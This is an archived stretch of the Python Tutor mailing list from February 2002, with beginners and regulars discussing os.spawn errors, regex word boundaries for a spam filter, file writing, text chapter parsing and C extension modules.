    os.spawnl(os.P_WAIT, 'python email_filter.py < test4.txt')
  File "E:\PYTHON\PYTHON22\lib\os.py", line 530, in spawnl
    return spawnv(mode, file, args)
OSError: [Errno 2] No such file or directory


So, I thought maybe it needed the environment variables. Maybe it
couldn't find the path because I hadn't passed the environment to it???

So I then tried this:

>>> os.spawnle(os.P_WAIT, 'python email_filter.py < test4.txt', os.environ)
Traceback (most recent call last):
  File "<pyshell#7>", line 1, in ?
    os.spawnle(os.P_WAIT, 'python email_filter.py < test4.txt',
os.environ)
  File "E:\PYTHON\PYTHON22\lib\os.py", line 541, in spawnle
    return spawnve(mode, file, args[:-1], env)
OSError: [Errno 2] No such file or directory


I've read the docs in the os module, I've looked at my Python 2.1 Bible.
I've been going over my Programming Python (examples of spawnv on pp.
126 - 127) and I can't get this to work.

Here's another try with spawnv:

>>> import os
>>> os.chdir(r'e:\web\thinkspotwebsite\dev')
>>> print os.path.abspath(os.curdir)
e:\web\thinkspotwebsite\dev
>>> os.spawnv(os.P_WAIT, os.curdir, ('python', 'email_filter.py < test4.txt'))
Traceback (most recent call last):
  File "<pyshell#4>", line 1, in ?
    os.spawnv(os.P_WAIT, os.curdir, ('python', 'email_filter.py <
test4.txt'))
OSError: [Errno 13] Permission denied
>>> 


I was trying some other stuff with spawnl and spawnle a bit ago, before
sending this message (I'd saved a draft of what I'd written before) and
was getting that 
OSError: [Errno 13] Permission denied
error on some of the other stuff I tried...but my computer crashed and I
don't remember what it was any more.

Can anyone help me out here?

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_





From sheila@thinkspot.net  Sat Feb  9 20:10:46 2002
From: sheila@thinkspot.net (Sheila King)
Date: Sat, 09 Feb 2002 12:10:46 -0800
Subject: [Tutor] Why doesn't this regex match???
In-Reply-To: <4.2.0.58.20020209120509.01a047a0@pop3.norton.antivirus>
References: <20020209144331.GL24064@tc.niof.net> <3251E29088C@kserver.org> <38FDE976D44@kserver.org> <20020209144331.GL24064@tc.niof.net> <2C6A5A323F@kserver.org> <4.2.0.58.20020209120509.01a047a0@pop3.norton.antivirus>
Message-ID: <4A351D49A0@kserver.org>

On Sat, 09 Feb 2002 12:05:14 -0800, Kirby Urner <urnerk@qwest.net>
wrote about Re: [Tutor] Why doesn't this regex match???:

> 
> Anyhow, after the discussion here on the list last night, and some
> discussion with my project-code-partners, we've decided to forgo the
> regular expressions in favor of simple string manipulations.
> 
> 
> Good thread though.  Some important clarifications re
> character sets.  Got my questions answered.
> 
> Seems you were just about at a solution.

Well ... almost at a solution for matching single words/phrases in our
phrase-list. However, the real reason we were considering regex was
because we wanted to then do a grand "OR" on all of the words and avoid
looping...and seems to me that once I go a step more complicated that I
introduce more problems...I don't really understand regex well enough to
debug it on my own (and neither does my coding partner).

Tim mentioned the O'Reilly _Mastering Regular Expressions_ book...I'm
sure it is a fine book. But I don't want to spend gobs of time on regex
right now. It is only a small part of this project and I have a lot of
other stuff to do. I have a good 5 or 6 Python books here, and if that
isn't enough for me to learn what I want on this topic, better to
postpone it for another time.

I did learn some interesting things on the topic, though. Regex isn't as
scary and incomprehensible as it used to be. I'm sure I'll return to it
at some time in the future.

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_





From glingl@aon.at  Sat Feb  9 21:10:47 2002
From: glingl@aon.at (Gregor Lingl)
Date: Sat, 9 Feb 2002 22:10:47 +0100
Subject: [Tutor] One more (sorry)
References: <Pine.LNX.4.21.0202091133050.25801-100000@hkn.eecs.berkeley.edu>
Message-ID: <001001c1b1ae$3ed38540$1664a8c0@mega>

----- Original Message ----- 
From: "Danny Yoo" <dyoo@hkn.eecs.berkeley.edu>
To: "kevin parks" <kp87@lycos.com>
Cc: <tutor@python.org>
Sent: Saturday, February 09, 2002 8:42 PM
Subject: Re: [Tutor] One more (sorry)


> 
> If we read in the file and somehow process it to get something like:
> 
> [ [foo 1.0 5.0 10.0]
>   [foo2 1.0  5.0  15.0]
>   [foo  2.5  3.0  9.00]
>   [foo  3.1  5.5  12.00]
>   [foo3 5.0  1.25 7.00] ]
> 

or more exactly:

[ ['foo', 1.0, 5.0, 10.0],
  ['foo2', 1.0,  5.0,  15.0],
  ['foo',  2.5,  3.0,  9.00],
  ['foo',  3.1,  5.5,  12.00],
  ['foo3', 5.0,  1.25, 7.00] ]

Gregor

P.S.: Does this come from the scheme-adventure (*....*)?



From tim.one@comcast.net  Sat Feb  9 21:03:23 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 09 Feb 2002 16:03:23 -0500
Subject: [Tutor] Why doesn't this regex match???
In-Reply-To: <20020209144331.GL24064@tc.niof.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCAENLNKAA.tim.one@comcast.net>

[Rick Pasotto]
> '[]' says 'any one *character* from the set'.

Bingo.

> '\b', '\A', and '\Z' are not characters.

Almost true:  \b is a special case.  Inside a character class, it means the
backspace character (chr(8)); outside a character class, it means
word-boundary.  Why?  Because that's what Perl decided, and Python's regexps
try to be as compatible as non-insanely possible with Perl's.

> ...
> 'word boundary' includes 'white space before and after' and 'beginning
> and end of string'.

Not so, although it's a common misunderstanding:  'word boundary' means the
character on one side is non-alphanumeric (incl. start- and end-of-string),
and the character on the other side is alphanumeric; so, in particular, \b
cannot match between whitespace characters, because there's not an
alphanumeric character on either side then.



From tim.one@comcast.net  Sat Feb  9 21:07:58 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 09 Feb 2002 16:07:58 -0500
Subject: [Tutor] Why doesn't this regex match???
In-Reply-To: <381F04F6BDD@kserver.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCKENLNKAA.tim.one@comcast.net>

[Sheila King]
> Actually, what we'd been doing was more like:
>
>         s = subject.lower()
>  		s = ' ' + s + ' '
>          isjunk = 0
>          for phrase in spamphrases:
>              if s.find(' ' + phrase + ' ') >= 0:
>                  isjunk = 1
>                  break
>
> We wanted to match, say, "sex" but not "sextant". (As the joke is going
> in our discussion group...SO MANY spams that we receive have the word
> "sextant" in the subject line!!! )

If you're going to run this code a lot, you want to do as little work as
possible in the inner loop.  So you would want to stick a blank on each side
of the phrases once and for all.  Regexps are certainly more flexible here.
The question is whether it's less work in the end to craft a regexp that
works than to pick up a spam filter from someone else <wink>.



From tim.one@comcast.net  Sat Feb  9 22:02:35 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 09 Feb 2002 17:02:35 -0500
Subject: [Tutor] Why doesn't this regex match???
In-Reply-To: <370F4F979B9@kserver.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCCENONKAA.tim.one@comcast.net>

[Sheila King]
> ...
> Then someone else suggested the regular expression (granted, someone who
> is rather adept at them, and is really a Perl coder who is just now
> learning Python). I'm not sure we gained much by it, but then I had
> thought to do this:
>
> take the entire list of spamphrases and form one big regex out of them
> and instead of looping through the list, simply do a single regex test
> on the subject line.

You're very close to getting that approach to work; I'm sure you can
complete it now.

> We are looking to run this filter on a community server that gets lots
> of emails to lots of different accounts and we expect a number of people
> will be using it. We don't want to have the sysadmin tell us to turn it
> off later, due to resource usage. So, I thought that a single regex test
> would be more efficient than looping through the list as we had done
> before.

You don't have to guess, you can set up artificial tests and time them.  A
single regexp will likely be faster.  OTOH, if you accumulate enough
patterns, you may eventually bump into a limit on how large a regexp can be.
The latter isn't terribly likely with Python, but is very likely with some
other regexp packages.

> Comments on this logic not only welcome, but actually desired!!!

As a learning exercise, it's fine.  As a real-life spam filter, writing your
own is a dubious idea:  spammers and anti-spammers are in an escalating
technology war, and simple filters are increasingly ineffective (for any
defn. of "simple").  So if the goal is to tag spam instead of learning how
to write spam filters (there's no law that you can't do both, of course
<wink>), time would be better spent installing a state-of-the-art spam
filter.  For example,

    http://spamassassin.org/

is free for the taking.  It happens to be written in Perl, but I won't hold
that against it <wink>.  It's about half a megabyte of source code spread
over about 100 files, and I'm afraid that's what the state of the art has
become!



From toodles@yifan.net  Sun Feb 10 01:33:11 2002
From: toodles@yifan.net (Andy W)
Date: Sun, 10 Feb 2002 09:33:11 +0800
Subject: [Tutor] really dumb questions
References: <BFGCFNOOEPHPPAAA@mailcity.com>
Message-ID: <001f01c1b1d2$fa85dd50$3100a8c0@sun>

Hi Kevin,

> I know that there is writelines, but as usual i can't figure out based on
the Python documentation which hardly ever gives illustrative examples.

To use writelines, all you need to do is put all your strings in a list.
eg.:

>>> scooby_file=open("scooby.txt","w")
>>> scooby_file.writelines(["Scooby","Dooby","Doo"])
>>> scooby_file.close()

Yields the file scooby.txt with the following data in it:
ScoobyDoobyDoo

>
> My other dumb question is this: how do i print a list without the leading
and trailing brackets and commas? I just want the values separated by white
space. 1 2 3 and not [1, 2, 3] again with f.write and not print.

How about:

for item in [1,2,3]:
    print item,           #don't miss that comma on the end, else the data
will spill on to the next lines.

>
> Oh, one last silly question. I know how to print the time in the
interpreter with:
>
> >>> import time
>
>
> but using the same command with f.write and not print doesn't work. if i
add the `x` thing it works but it adds single quotes to the output. How do
you suppress those?

So you're trying to write the time to a file, is that right?
'x' thing? You've lost me there.
If you just want to write the time to a file, all you need to do is put
str() around the time result. eg.:

import time
time_file=open("time.txt","w")
current_time=time.time()
time_file.write(str(current_time))
time_file.close()

>
> One last silly question. I would love to write to the output file the name
of script that generated the file. Is there a module that does that in
Python? I see where to get the curdir, but not the actual filename with the
path.

You do realise you've asked 2 "last" silly questions now don't you? ;)

If you are running the program by itself and not importing it, the first
element of sys.argv should give you what you want. ie.:

import sys
program_name=sys.argv[0]

>
> cheers all and Happy New Year to those in places that groove to the Lunar
New Year.

You too!

Andy

>
> kevin parks
> Seoul, Korea
>
> Thanks D-man and Danny Yoo for the stuff on random. It was helpful, but i
was also hoping that there would be 1/f noise and brownian noise as well
built in. I didn't see it in Numpy either.
>
>
>
>
>
>
>
>
> Go Get It!
> Send FREE Valentine eCards with Lycos Greetings
> http://greetings.lycos.com
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From idiot1@netzero.net  Sun Feb 10 04:39:35 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Sat, 09 Feb 2002 23:39:35 -0500
Subject: [Tutor] counter
References: <Pine.LNX.4.21.0202091948110.31574-100000@hkn.eecs.berkeley.edu>
Message-ID: <3C65F987.4F2CF44D@netzero.net>

Would this be a useless python event, or is it too useful? It is toing
the counting on the tinylist site NOW.


Danny Yoo wrote:
> 
> > Thankyou, here is the result.
> >
> >
> > ns# list counter.py
> > Listing of file counter.py in directory:/www/www.tinylist.org/cgi-bin
> >
> > #!/usr/local/bin/python
> > #
> > #
> > f1=open("count",'r')
> > count=int(f1.readline())
> > f1.close()
> > count=count+1
> > result=str(count)
> > print result,
> > f1=open("count",'w')
> > f1.write(result+"\r\n")
> > f1.close
> 
> Very cool.  *grin*

-- 
 
end
	    Respectfully,
			Kirk D Bailey

+---------------------"Thou Art Free." -Eris----------------------+
| http://www.howlermonkey.net mailto:highprimate@howlermonkey.net |
| http://www.tinylist.org  +--------+  mailto:grumpy@tinylist.org |
+------------------Thinking| NORMAL |Thinking---------------------+
                           +--------+
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From idiot1@netzero.net  Sun Feb 10 06:37:25 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Sun, 10 Feb 2002 01:37:25 -0500
Subject: [Tutor] Speed test
Message-ID: <3C661525.DADDDFF4@netzero.net>

OK, I set up a sendmail list, and biglist, and gave both of them a
list of 1000 email members, with my own address as first and last in
both, and 998 aliases in the server, totalling 1000. I sent a message
to BOTH identities, (2 'to' field identities, comma seperated) and
away it went. 

A sendmail list is built as:
listname::include:/pathtofile/filename

This is as minimal as it gets and still use a subscriber file. No
features, no security, and fast.


To my considerable delight, TinyList ran without a hitch and without
tripping over the large recipient limit we set in the sendmail.cf file
of 10, whereas the sendmail alias version never got past #10 alias due
to it! To compare numbers I must set the limit FAR higher temporarily
so I can get all 1000 out for a speedtest comparison.

Date: Sun, 10 Feb 2002 01:21:50 -0500 (EST) (first return, member #1)
Date: Sun, 10 Feb 2002 01:26:10 -0500 (EST) (last return, member
#1000)

.32 sec/message, or 3.125 posts per second. Not too bad for a 233 Mhs
recycled used server motherboard rescued from an old server being
upgraded.

-- 
 
end
	    Respectfully,
			Kirk D Bailey

+---------------------"Thou Art Free." -Eris----------------------+
| http://www.howlermonkey.net mailto:highprimate@howlermonkey.net |
| http://www.tinylist.org  +--------+  mailto:grumpy@tinylist.org |
+------------------Thinking| NORMAL |Thinking---------------------+
                           +--------+
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From charlie@begeistert.org  Sun Feb 10 17:35:13 2002
From: charlie@begeistert.org (Charlie Clark)
Date: Sun, 10 Feb 2002 12:35:13 -0500
Subject: [Tutor] rows and columns
Message-ID: <4908465008-BeMail@gormenghast>

>If we read in the file and somehow process it to get something like:
>
>[ [foo 1.0 5.0 10.0]
>  [foo2 1.0  5.0  15.0]
>  [foo  2.5  3.0  9.00]
>  [foo  3.1  5.5  12.00]
>  [foo3 5.0  1.25 7.00] ]
>
>That is, a list of columns, then the problem should become a little
>easier.  Here's a function that might do this:
>
>###
>def readRowsAndColumns(filename):
>    f =3D open(filename)
>    rows =3D []
>    for line in f.readlines():
>        columns =3D line.split()
>        rows.append(columns)
>    return rows
>###
My guess is you're wanting to write the changed lines back out into a 
file. If you don't need to that you might think about storing the data 
in a more flexible form such as a list or dictionary or a class which 
you can save to disk using pickle.

def readRowsAndColumns(filename):
   f =3D open(filename)
   out =3D open("output=5Ffile.txt", "w")
   rows =3D []
   for line in f.readlines():
        columns =3D line.split()
	"""convert the second value in each row to a number, add 0.5 to it 
and turn back to a string"""
        columns[1] =3D str(float(columns[1] + 0.5))
        out.write(" ".join(columns) + "\n")
   out.close()
   print "finished"

Putting the change function inside like this is not usually the way to 
do things but fine for one of situations.

Charlie�



From dsh8290@rit.edu  Sun Feb 10 17:39:43 2002
From: dsh8290@rit.edu (dman)
Date: Sun, 10 Feb 2002 12:39:43 -0500
Subject: [Tutor] Calling out to check on a server
In-Reply-To: <23FD7B1A77E8D211BCB900001D108C02018B299F@camelot>
References: <23FD7B1A77E8D211BCB900001D108C02018B299F@camelot>
Message-ID: <20020210173943.GA4546@dman.ddts.net>

On Fri, Feb 08, 2002 at 02:32:50PM -0500, McCarney, James Alexander wrote:
| Hail Pythonistas universal and triumphant,
| 
| I seem to recall that there is a way (script) to check a server to see if it
| is alive. Maybe Vaults of Parnassus, but I didn't see it when I checked.

At what network layer do you want to check for life?

| Is anyone aware of something like that? Does anyone have something (code,
| tips, urls, whatever) they could share?

'ping' will tell you if the Network Layer is alive (for the Internet
this is the "IP" protocol).

| My platform Wind*** 2000; IIS server residing on another machine. Py 2.2

If you want to see if the Application Layer is alive (for example, to
see if IIS is actually responding to requests) then you must make a
request using the Application Layer protocol.  For HTTP (the protocol
IIS uses) the easiest way is

    import urllib
    urllib.open( "http://whatever/your/server/is/" ).read()

and if it throws an exception, the server (HTTP level, at least) is
dead.

-D

-- 

Commit to the Lord whatever you do,
and your plans will succeed.
        Proverbs 16:3



From dsh8290@rit.edu  Sun Feb 10 17:42:49 2002
From: dsh8290@rit.edu (dman)
Date: Sun, 10 Feb 2002 12:42:49 -0500
Subject: [Tutor] Why doesn't this regex match???
In-Reply-To: <3251E29088C@kserver.org>
References: <3251E29088C@kserver.org>
Message-ID: <20020210174249.GB4546@dman.ddts.net>

On Fri, Feb 08, 2002 at 09:30:15PM -0800, Sheila King wrote:
 
| The task I am trying to accomplish right now is this:
| 
| I have a list of strings (common words and phrases one might expect to
| find in a Spam email, if that wasn't obvious from the above examples)
| and I want to do a regular expression search against the subject of an
| email and see if I get a match or not (after which I handle the email).

How about using SpamAssassin?  It works really well for me.  (ignore
the fact that it is written in perl and just treat it as you would any
external program)  You can stick it in your mail system using
procmail, or have your MTA automatically scan messages depending on
your setup.  For instructions on my setup,
    http://dman.ddts.net/~dman/config_docs/exim_spamassassin.html

-D

-- 

The crucible for silver and the furnace for gold,
but the Lord tests the heart.
        Proverbs 17:3



From dsh8290@rit.edu  Sun Feb 10 17:48:17 2002
From: dsh8290@rit.edu (dman)
Date: Sun, 10 Feb 2002 12:48:17 -0500
Subject: [Tutor] Using os.spawn commands
In-Reply-To: <45D4413DB5@kserver.org>
References: <45D4413DB5@kserver.org>
Message-ID: <20020210174817.GC4546@dman.ddts.net>

On Sat, Feb 09, 2002 at 12:06:02PM -0800, Sheila King wrote:
| I wanted to write a script to test this other script of mine.
| I thought one of the os.spawn commands would be best, so that if one of
| the test processes crashed, at least my testing script wouldn't? (That
| is correct thinking there, right?)
| 
| I'm running a lot of my testing on a Windows machine, and according to
| the docs, that eliminates any of the spawn commands with a "p" as a
| choice. OK, fine. That leaves me with these choices:
| 
| spawnl
| spawnle
| spawnv
| spawnve

What about os.system()?  Is that available on 'doze?

os.system( 'python email_filter.py < test4.txt' )

-D

-- 

Like a gold ring in a pig's snout
is a beautiful woman who shows no discretion.
        Proverbs 11:22



From rufmetal@rogers.com  Sun Feb 10 18:25:02 2002
From: rufmetal@rogers.com (Chris Keelan)
Date: Sun, 10 Feb 2002 13:25:02 -0500
Subject: [Tutor] Nested loops/test conditions
Message-ID: <20020210132502.2c3d9818.rufmetal@rogers.com>

Hey gang!

I know the answer is staring me in the face, but I've been scratching
my head over this problem for two days.

I want to parse a file that has the following structure:

################

Some header stuff to skip

<Chapter1>

Some lines of text to write

</Chapter1>

<Chapter2>

Some more lines of text to write

</Chapter2>

etc. ...

################

So I need to write two loops, I think. The first loop should parse the
file line-by-line to find the start condition e.g., <Chapter1> then
write each line from that point to the end condition </Chapter1> to a
separate file.

I then want a third, meta-loop to iterate thorough a list of all the chapters.

So the program loops over a long text file and writes a chapterized
version of that document based on start and end markers within the
file itself.

This is the best I can do, but it's not doing the second (nested) iteration
properly (I'll worry about the meta-loop later). I'm also not worried about
writing to file yet--just getting the program to print the output to screen
will make me happy:

#!/usr/bin/python

import os
import string

startCond = '<Chapter1>'

exitCond = '</Chapter1>'

testFile = '/shared/docs/testtext'


def fix_string(badString):     # need this to strip newlines, etc. from a
readline()    goodString = string.split(badString)
    goodString = string.join(goodString)
    return goodString

def find_start(inHandle, startCond, exitCond):

    done = 0

    while not done:
        checkLine = inHandle.readline()

        testCond = fix_string(checkLine)

        if testCond == startCond:
            print_lines(inHandle, exitCond)

        else:
            done = 1
            
def print_lines(inHandle, exitCond):
    done = 0
    while not done:
        checkLine = inHandle.readline()

        testCond = fix_string(checkLine)
        
        if testCond == exitCond:
            done = 1
                       
        else:
            print checkLine
            
            
def main():
    inHandle = open(testFile, 'r')
    find_start(inHandle, startCond, exitCond)
    inHandle.close()

if __name__ == "__main__":
    main()





From glingl@aon.at  Sun Feb 10 19:06:20 2002
From: glingl@aon.at (Gregor Lingl)
Date: Sun, 10 Feb 2002 20:06:20 +0100
Subject: [Tutor] rows and columns
References: <4908465008-BeMail@gormenghast>
Message-ID: <002701c1b266$06a63a10$1664a8c0@mega>

Nice, except that I think Kevin additionally wanted this:

"""if row begins with 'foo' then
convert the second value in each row to a number, add 0.5 to it 
and turn back to a string"""
        if columns[0]=='foo':
            columns[1] = str(float(columns[1] + 0.5))


My guess is you're wanting to write the changed lines back out into a 
file. If you don't need to that you might think about storing the data 
in a more flexible form such as a list or dictionary or a class which 
you can save to disk using pickle.

def readRowsAndColumns(filename):
   f = open(filename)
   out = open("output_file.txt", "w")
   rows = []
   for line in f.readlines():
        columns = line.split()
"""convert the second value in each row to a number, add 0.5 to it 
and turn back to a string"""
        columns[1] = str(float(columns[1] + 0.5))
        out.write(" ".join(columns) + "\n")
   out.close()
   print "finished"

Putting the change function inside like this is not usually the way to 
do things but fine for one of situations.

Charlie 


_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor




From glingl@aon.at  Sun Feb 10 19:43:37 2002
From: glingl@aon.at (Gregor Lingl)
Date: Sun, 10 Feb 2002 20:43:37 +0100
Subject: [Tutor] Nested loops/test conditions
References: <20020210132502.2c3d9818.rufmetal@rogers.com>
Message-ID: <002f01c1b26b$3c3f7100$1664a8c0@mega>

Hi!
I recently had a similar job to do.
I did it with a script like the following:

import string

testFile = 'testtext.txt'

# read filetext into a single string
filetext = open(testFile).read()

# find beginning of first chapter-tag
start = string.find(filetext,'<Chapter')
while start > -1:   # there is at least one more chapter
    # find beginning of chaptertext
    start = string.find(filetext,'>',start) + 1 # for the '>'
    # find end of chaptertext
    end = string.find(filetext,'</Chapter',start)
    chaptext = filetext[start:end] #extracts chaptertext
    print chaptext
    # find beginning of next chapter-tag
    start = string.find(filetext,'<Chapter',end)


So we can avoid joining the ongoing regex-thread ;-)
(but wasn't a similar script there?)
Gregor

----- Original Message -----
From: "Chris Keelan" <rufmetal@rogers.com>
To: <tutor@python.org>
Sent: Sunday, February 10, 2002 7:25 PM
Subject: [Tutor] Nested loops/test conditions


> Hey gang!
>
> I know the answer is staring me in the face, but I've been scratching
> my head over this problem for two days.
>
> I want to parse a file that has the following structure:
>
> ################
>
> Some header stuff to skip
>
> <Chapter1>
>
> Some lines of text to write
>
> </Chapter1>
>
> <Chapter2>
>
> Some more lines of text to write
>
> </Chapter2>
>
> etc. ...
>
> ################
>
> So I need to write two loops, I think. The first loop should parse the
> file line-by-line to find the start condition e.g., <Chapter1> then
> write each line from that point to the end condition </Chapter1> to a
> separate file.
>
> I then want a third, meta-loop to iterate thorough a list of all the
chapters.
>
> So the program loops over a long text file and writes a chapterized
> version of that document based on start and end markers within the
> file itself.
>
> This is the best I can do, but it's not doing the second (nested)
iteration
> properly (I'll worry about the meta-loop later). I'm also not worried
about
> writing to file yet--just getting the program to print the output to
screen
> will make me happy:
>
> #!/usr/bin/python
>
> import os
> import string
>
> startCond = '<Chapter1>'
>
> exitCond = '</Chapter1>'
>
> testFile = '/shared/docs/testtext'
>
>
> def fix_string(badString):     # need this to strip newlines, etc. from a
> readline()    goodString = string.split(badString)
>     goodString = string.join(goodString)
>     return goodString
>
> def find_start(inHandle, startCond, exitCond):
>
>     done = 0
>
>     while not done:
>         checkLine = inHandle.readline()
>
>         testCond = fix_string(checkLine)
>
>         if testCond == startCond:
>             print_lines(inHandle, exitCond)
>
>         else:
>             done = 1
>
> def print_lines(inHandle, exitCond):
>     done = 0
>     while not done:
>         checkLine = inHandle.readline()
>
>         testCond = fix_string(checkLine)
>
>         if testCond == exitCond:
>             done = 1
>
>         else:
>             print checkLine
>
>
> def main():
>     inHandle = open(testFile, 'r')
>     find_start(inHandle, startCond, exitCond)
>     inHandle.close()
>
> if __name__ == "__main__":
>     main()
>
>
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From glingl@aon.at  Sun Feb 10 19:49:55 2002
From: glingl@aon.at (Gregor Lingl)
Date: Sun, 10 Feb 2002 20:49:55 +0100
Subject: [Tutor] rows and columns
References: <4908465008-BeMail@gormenghast> <002701c1b266$06a63a10$1664a8c0@mega>
Message-ID: <004601c1b26c$1cf86ee0$1664a8c0@mega>

----- Original Message -----
From: "Gregor Lingl" <glingl@aon.at>
To: <tutor@python.org>; <kp87@lycos.com>; "Charlie Clark"
<charlie@begeistert.org>
Sent: Sunday, February 10, 2002 8:06 PM
Subject: Re: [Tutor] rows and columns


> Nice, except that I think Kevin additionally wanted this:
>
> """if row begins with 'foo' then
> convert the second value in each row to a number, add 0.5 to it
> and turn back to a string"""
>         if columns[0]=='foo':
>             columns[1] = str(float(columns[1] + 0.5)) <=*ERROR*==
>
>

Huuuh!

The line

>             columns[1] = str(float(columns[1] + 0.5))

will not work! Should read:

              columns[1] = str(float(columns[1]) + 0.5)

Sorry, Gregor



From paulsid@shaw.ca  Sun Feb 10 19:48:58 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Sun, 10 Feb 2002 12:48:58 -0700
Subject: [Tutor] Nested loops/test conditions
References: <20020210132502.2c3d9818.rufmetal@rogers.com>
Message-ID: <3C66CEAA.91234265@shaw.ca>

Chris Keelan wrote:

> So I need to write two loops, I think. The first loop should parse the
> file line-by-line to find the start condition e.g., <Chapter1> then
> write each line from that point to the end condition </Chapter1> to a
> separate file.

For this kind of thing I would use a single state-based loop.  I've
rewritten your code with such a loop below.  It should be fairly
self-explanatory.  The gist of it is that the loop does different things
based on the setting of the variable called 'state', which kind of
allows it to act like two loops at once.

This technique is simple yet very powerful.  You can get really fancy
with it, like putting the action for each state in a function and using
a dictionary of functions (e.g. 
funcdict = {STATE_1: func_1, STATE_2: func_2}) and then calling
funcdict[state]() on each iteration.  This is very useful for when there
are lots of states as it keeps the code for each state well-separated
and the loop very clean.

Hope this helps.  (Code below is untested.)

*********

#!/usr/bin/python

import os
import string

#startCond = '<Chapter1>'
#exitCond = '</Chapter1>'

startchapter = 1

def set_conditions(ch)
    return ("<Chapter%i>" % ch, "</Chapter%i>" % ch)

testFile = '/shared/docs/testtext'

def fix_string(badString):     # need this to strip newlines, etc.
    goodString = string.split(badString)
    goodString = string.join(goodString)
    return goodString

# State variables.
FIND_START = 1
WRITE_LINES = 2

def parse_file(inHandle, ch)
    startCond, exitCond = set_conditions(ch)
    state = FIND_START
    for line in inHandle.readlines():
        line = fix_string(line)
        if state == FIND_START:
            if line == startCond:
                state = WRITE_LINES
        elif state == WRITE_LINES:
            if line == exitCond:
                ch += 1
                startCond, exitCond = set_conditions(ch)
                state = FIND_START
            else:
                print line
        else:
            print "ERROR - Invalid State"
            
def main():
    inHandle = open(testFile, 'r')
    parse_file(inHandle, startchapter)
    inHandle.close()

if __name__ == "__main__":
    main()

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From erikprice@mac.com  Sun Feb 10 21:42:49 2002
From: erikprice@mac.com (Erik Price)
Date: Sun, 10 Feb 2002 16:42:49 -0500
Subject: [Tutor] omit some keys from dict
In-Reply-To: <XFMail.20020207223959.shalehperry@attbi.com>
Message-ID: <21122992-1E6F-11D6-B1AB-00039351FE6A@mac.com>

On Friday, February 8, 2002, at 01:39  AM, Sean 'Shaleh' Perry wrote:

> modules written in pure python move forward from 1.x just fine 9 times 
> out of
> 10.  The reverse is 1 out of 10 when moving back to 1.x.
>
> The real problem are the modules written in C.

I (mistakenly) thought that modules generally -were- pure python.  I 
actually had been under the impression that a module was simply an 
organized batch of code that could be imported into another bit of code 
for the purpose of reusability.

I didn't realize that you could write a module in C and import it into 
Python.  Or -- do you refer to extensions to Python's abilities that 
would not otherwise be available to the language (that need to be coded 
in C to gain access to certain things that Python couldn't already do)?

Erik



From dyoo@hkn.eecs.berkeley.edu  Sun Feb 10 21:59:20 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun, 10 Feb 2002 13:59:20 -0800 (PST)
Subject: [Tutor] omit some keys from dict
In-Reply-To: <21122992-1E6F-11D6-B1AB-00039351FE6A@mac.com>
Message-ID: <Pine.LNX.4.21.0202101340010.17726-100000@hkn.eecs.berkeley.edu>

On Sun, 10 Feb 2002, Erik Price wrote:

> > modules written in pure python move forward from 1.x just fine 9 times 
> > out of
> > 10.  The reverse is 1 out of 10 when moving back to 1.x.
> >
> > The real problem are the modules written in C.
> 
> I (mistakenly) thought that modules generally -were- pure python.

Not to say that they aren't --- many of the standard library modules are
in Python, just as we'd expect.  For example, the StringIO module is pure
Python, and the source code is available in a StringIO.py file in the
library.  It's useful to know that we can easily read most of the library
modules to see how they're constructed.

But we can also write modules in C if we put in the effort!  There's a
module called 'CStringIO' that does the same job as StringIO.  CStringIO
is written in C, and since readability isn't often a main goal in C,
CStringIO can implement a few unprintable optimizations that aren't easily
available in native Python.  *grin*


As long as we follow a few "ground rules", we can write modules in C for
fun and profit.  These ground rules are explained in the "Extending and
Embedding" documentation:

    http://python.org/doc/ext

The problem about these extension modules is that the C API evolves with
Python, and this likely breaks compatibility.  A recompilation of an
extension module usually fixes things, but, of course, this requires that
we have a C compiler handy.


> I didn't realize that you could write a module in C and import it into
> Python.

Yes, this is what makes "extendable" languages like Python very cool ---
we can extend Python reliably through a module interface that makes
external code look indistinguishable from native Python code.

If you're interested in this sort of stuff, take a look at SWIG:

    http://swig.org


Good luck!



From erikprice@mac.com  Sun Feb 10 22:16:47 2002
From: erikprice@mac.com (Erik Price)
Date: Sun, 10 Feb 2002 17:16:47 -0500
Subject: [Tutor] omit some keys from dict
In-Reply-To: <Pine.LNX.4.21.0202101340010.17726-100000@hkn.eecs.berkeley.edu>
Message-ID: <DF969218-1E73-11D6-B1AB-00039351FE6A@mac.com>

On Sunday, February 10, 2002, at 04:59  PM, Danny Yoo wrote:

> Not to say that they aren't --- many of the standard library modules are
> in Python, just as we'd expect.  For example, the StringIO module is 
> pure
> Python, and the source code is available in a StringIO.py file in the
> library.  It's useful to know that we can easily read most of the 
> library
> modules to see how they're constructed.

What is the definition of "Library" in this case?  Is it just "the 
collective body of Python modules"?  Or is something more specific 
implied by it?  Does it refer to the Standard Library of Python modules 
that ships with all Python Dists?  I have Python 2.2, if that matters.

> The problem about these extension modules is that the C API evolves with
> Python, and this likely breaks compatibility.

I see this acronym all the time, but I'm not terribly sure of what it 
is:  API.  If I'm not mistaken, IDE is like a program that allows you to 
code more easily than plaintext file editing (Integrated Development 
